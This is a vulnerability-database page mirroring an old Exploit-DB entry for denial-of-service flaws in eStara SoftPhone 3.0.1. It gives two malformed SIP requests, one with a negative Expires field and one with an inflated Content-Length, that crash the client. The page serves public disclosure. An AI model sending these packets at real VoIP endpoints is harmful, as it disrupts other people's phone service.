Lucene search
+L

eStara SoftPhone 3.0.1 SIP Packet - Multiple Malformed Field Denial of Service Vulnerabilities

🗓️ 14 Feb 2006 00:00:00Reported by ZwelLType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 33 Views

eStara SoftPhone 3.0.1 SIP Packet - Multiple DoS Vulnerabilitie

Related
Code
ReporterTitlePublishedViews
Family
CVE
CVE-2006-0737
17 Feb 200601:00
cve
Cvelist
CVE-2006-0737
17 Feb 200601:00
cvelist
EUVD
EUVD-2006-0744
7 Oct 202500:30
euvd
NVD
CVE-2006-0737
17 Feb 200601:02
nvd
Prion
Design/Logic Flaw
17 Feb 200601:02
prion
source: https://www.securityfocus.com/bid/16629/info

eStara Smartphone is prone to multiple denial-of-service vulnerabilities when processing malformed VOIP headers. Successful exploitation will cause the device to crash.

For the negative 'Expires' field issue:

OPTIONS sip:[email protected] SIP/2.0
Via: SIP/2.0/UDP 172.16.3.6:3334;branch=z9hG4bK00001793z9hG4bK.00001FDB
From: 1793 <sip:[email protected]>;tag=1793
To: zwell <sip:[email protected]>
Call-ID: [email protected]
CSeq: 5185 OPTIONS
Expires: -127

For the 'Content-Length' field issue:

INVITE sip:[email protected] SIP/2.0
Via: SIP/2.0/UDP 172.16.3.6:3333;branch=z9hG4bK00002386z9hG4bK.0000234E
From: 2386 <sip:[email protected]>;tag=2386
To: zwell <sip:[email protected]>
Call-ID: [email protected]
CSeq: 4896 INVITE
Content-Type: application/sdp
Content-Length: 1111111111

v=0
o=2386 2386 2386 IN IP4 172.16.3.6
s=Session SDP
c=IN IP4 172.16.3.6
t=0 0
m=audio 9876 RTP/AVP 0
a=rtpmap:0 PCMU/8000

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

31 Jul 2013 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 25
EPSS0.03119
33